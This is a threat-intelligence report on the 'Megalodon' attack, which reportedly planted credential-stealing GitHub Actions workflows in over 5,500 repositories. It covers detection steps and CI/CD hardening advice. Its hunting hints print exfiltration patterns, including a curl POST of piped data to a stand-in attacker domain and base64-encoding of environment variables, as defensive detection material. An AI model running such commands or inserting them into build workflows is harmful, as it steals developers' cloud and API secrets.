'Megalodon' Supply Chain Attack by TeamPCP Infects Over 5,500 GitHub Repositories with Malicious GitHub Actions

Massive 'Megalodon' Supply Chain Attack Compromises 5,500+ GitHub Repos to Steal Cloud Credentials

CRITICAL
May 30, 2026
6m read
Supply Chain AttackCloud SecurityThreat Actor

Related Entities

Threat Actors

TeamPCP

Products & Tech

GitHub TiledesknpmPyPI

Other

Megalodon

Full Report

Executive Summary

A sophisticated and large-scale software supply chain attack, dubbed Megalodon, has been uncovered, impacting more than 5,500 GitHub repositories. The attack, attributed to a threat actor known as TeamPCP, involved injecting malicious code into GitHub Action workflows. The primary objective was the mass theft of sensitive credentials and secrets stored within continuous integration and continuous deployment (CI/CD) environments. This incident is part of a broader campaign that also included compromises of packages in the npm and PyPI ecosystems, highlighting a significant and ongoing threat to the software development lifecycle. The Cybersecurity and Infrastructure Security Agency (CISA) has responded with a warning to organizations about compromises in software development pipelines.


Threat Overview

The Megalodon attack took place on May 18, 2026, with attackers making over 5,700 malicious commits to thousands of public repositories in just six hours. The attack had two primary payloads delivered via malicious GitHub Action workflows:

  1. Active Credential Theft: A new malicious workflow was added to repositories, configured to trigger on every push and pull_request event. This workflow would then exfiltrate secrets and environment variables.
  2. Dormant Backdoor: Existing, legitimate workflows were replaced with malicious versions containing a dormant backdoor, which could be activated by the attackers at a later time.

The exfiltrated data was extensive, including CI environment variables, AWS credentials, GCP access tokens, Azure credentials, API tokens, and SSH keys. This attack was the second wave of a campaign; the first, named "Mini Shai-Hulud" (April 29 - May 12, 2026), was a self-propagating worm that compromised 172 packages on npm and PyPI.


Technical Analysis

The attack is a classic example of CI/CD pipeline compromise, focusing on a weak link in the software supply chain: automated build processes.

MITRE ATT&CK Techniques


Impact Assessment

The Megalodon attack poses a severe risk to the software ecosystem. By compromising 5,500 repositories, the attackers have potentially gained access to the cloud environments of thousands of organizations and individual developers. This access could be used for cryptojacking, data theft, or as a launchpad for further, more targeted attacks. Furthermore, if any of these repositories are popular open-source projects, the malicious workflows could be forked and used by countless downstream users, propagating the compromise exponentially. The theft of API tokens and SSH keys could also lead to the compromise of other services beyond cloud providers, such as package registries, databases, and internal servers.


IOCs — Directly from Articles

No specific file hashes or IP addresses were provided in the source articles. The primary indicator is the presence of unauthorized or modified GitHub Action workflow files.


Cyber Observables — Hunting Hints

Security teams should hunt for the following patterns within their GitHub organizations:

Type
file_path
Value
/.github/workflows/
Description
Monitor for unexpected or unauthorized commits that add or modify files in this directory.
Type
command_line_pattern
Value
`env
Description
base64`
Type
command_line_pattern
Value
curl -X POST -d @- http://<attacker-domain>
Description
Search for workflow run commands that use curl or wget to send data to an external, non-standard domain.
Type
log_source
Value
GitHub Audit Logs
Description
Audit for commits made by unknown or suspicious user accounts, especially if they modify workflow files across multiple repositories in a short time frame.

Detection & Response

  1. Audit GitHub Actions: Immediately conduct a thorough audit of all .github/workflows/ files in all repositories. Look for any recently added or modified workflows, especially those committed by unfamiliar accounts or containing suspicious run steps.
  2. Workflow Monitoring (D3-SFA): Implement continuous monitoring of workflow files. Use tools or custom scripts to alert on any changes to these critical files and require a manual review before they are merged into main branches.
  3. Credential Rotation: If a repository is found to be compromised, assume all secrets and credentials associated with it are stolen. Immediately rotate all GITHUB_TOKENs, cloud provider keys, API tokens, and any other secrets stored in GitHub Secrets for that repository.
  4. Analyze Runner Logs: Investigate the execution logs of GitHub Actions runners for any signs of compromise, such as unexpected network connections, file modifications, or command executions.

Mitigation

Securing the CI/CD pipeline is critical to preventing such attacks.

  1. Principle of Least Privilege (D3-UAP): Configure GitHub Actions workflows with the minimum permissions necessary. Use the permissions key in the workflow file to restrict the default read/write permissions of the GITHUB_TOKEN.
  2. Use OIDC for Cloud Authentication: Instead of storing long-lived static credentials (e.g., AWS keys) in GitHub Secrets, switch to OpenID Connect (OIDC). This allows workflows to request short-lived access tokens directly from the cloud provider, eliminating the risk of stolen static secrets.
  3. Require Workflow Approval: For public repositories, enable the setting that requires approval from a maintainer for any pull request from a first-time contributor that modifies GitHub Actions workflows.
  4. Pin Third-Party Actions: When using third-party actions from the GitHub Marketplace, pin them to a specific commit hash (user/action@commit-hash) rather than a branch or tag (user/action@v1). This prevents the action from being maliciously updated without your knowledge.

Timeline of Events

1
April 29, 2026
The first wave of the attack, 'Mini Shai-Hulud,' begins, compromising npm and PyPI packages.
2
May 12, 2026
The 'Mini Shai-Hulud' wave of the attack concludes.
3
May 18, 2026
The second wave, 'Megalodon,' occurs, compromising over 5,500 GitHub repositories within a six-hour window.
4
May 30, 2026
This article was published

MITRE ATT&CK Mitigations

Harden CI/CD pipeline configurations by restricting workflow permissions and requiring manual approval for workflow changes from external contributors.

Mapped D3FEND Techniques:

Use OIDC to federate identity between GitHub and cloud providers, eliminating the need for static, long-lived credentials in repositories.

Mapped D3FEND Techniques:

Audit

M1047enterprise

Continuously audit and monitor GitHub Action workflows and logs for signs of unauthorized modification or data exfiltration.

Mapped D3FEND Techniques:

D3FEND Defensive Countermeasures

To defend against attacks like Megalodon, organizations must aggressively harden their GitHub Actions configurations. First, implement the principle of least privilege by explicitly defining the permissions key at the top level of every workflow file. By default, the GITHUB_TOKEN has broad permissions; this should be restricted to permissions: read-all or even more granularly, such as contents: read, and only grant write permissions when absolutely necessary. Second, for public repositories, enable the 'Require approval for first-time contributors' setting, which forces a manual review of any pull request that modifies a workflow. Third, transition from static, long-lived secrets to OpenID Connect (OIDC). OIDC allows workflows to authenticate directly with cloud providers like AWS, Azure, and GCP to receive short-lived, dynamically generated credentials, completely removing the risk of stolen static secrets from your repository's configuration.

In the context of the Megalodon attack, System File Analysis means continuous, automated analysis of workflow files (*.yml) within the .github/workflows/ directory. Organizations should deploy tools that act as a 'CI/CD firewall.' These tools can be integrated as status checks on pull requests, automatically scanning any proposed changes to workflow files. The analysis should look for suspicious patterns, such as the use of curl or wget to exfiltrate data to unknown domains, the execution of obfuscated scripts (e.g., using base64), or the addition of new, unverified third-party actions. By creating a baseline of known-good workflow behavior and alerting on any deviation, security teams can detect and block malicious commits before they are merged into the main branch and executed, effectively preventing the compromise.

Timeline of Events

1
April 29, 2026

The first wave of the attack, 'Mini Shai-Hulud,' begins, compromising npm and PyPI packages.

2
May 12, 2026

The 'Mini Shai-Hulud' wave of the attack concludes.

3
May 18, 2026

The second wave, 'Megalodon,' occurs, compromising over 5,500 GitHub repositories within a six-hour window.

Sources & References

CISA urges security teams to check for software development compromises
CISA (vertexaisearch.cloud.google.com) May 29, 2026
CISA urges security teams to check for software development compromises
CISA (vertexaisearch.cloud.google.com) May 29, 2026
Over 5,500 GitHub Repositories Infected in 'Megalodon' Supply Chain Attack - SecurityWeek
SecurityWeek (vertexaisearch.cloud.google.com) May 25, 2026
Shai-Hulud/Megalodon: A Two-Wave AI Developer Supply Chain Attack - Lab Space
Lab Space (vertexaisearch.cloud.google.com) May 22, 2026
Megalodon cyberattack infects 5,500 GitHub repositories, report says | Mashable
Mashable (vertexaisearch.cloud.google.com) May 25, 2026
Megalodon: CI/CD Malware Spreading Across GitHub Repositories - OX Security
OX Security (vertexaisearch.cloud.google.com) May 21, 2026

Article Author

Jason Gomes

Jason Gomes

• Cybersecurity Practitioner

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.

Threat Intelligence & AnalysisSecurity Orchestration (SOAR/XSOAR)Incident Response & Digital ForensicsSecurity Operations Center (SOC)SIEM & Security AnalyticsCyber Fusion & Threat SharingSecurity Automation & IntegrationManaged Detection & Response (MDR)

Tags

supply chainGitHub ActionsCI/CDcredential theftopen sourceMegalodonTeamPCP

📢 Share This Article

Help others stay informed about cybersecurity threats

🎯 MITRE ATT&CK Mapped

Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.

🧠 Enriched & Analyzed

Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.

🛡️ Actionable Guidance

Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.

🔗 STIX Visualizer

Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.

Sigma Generator

Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.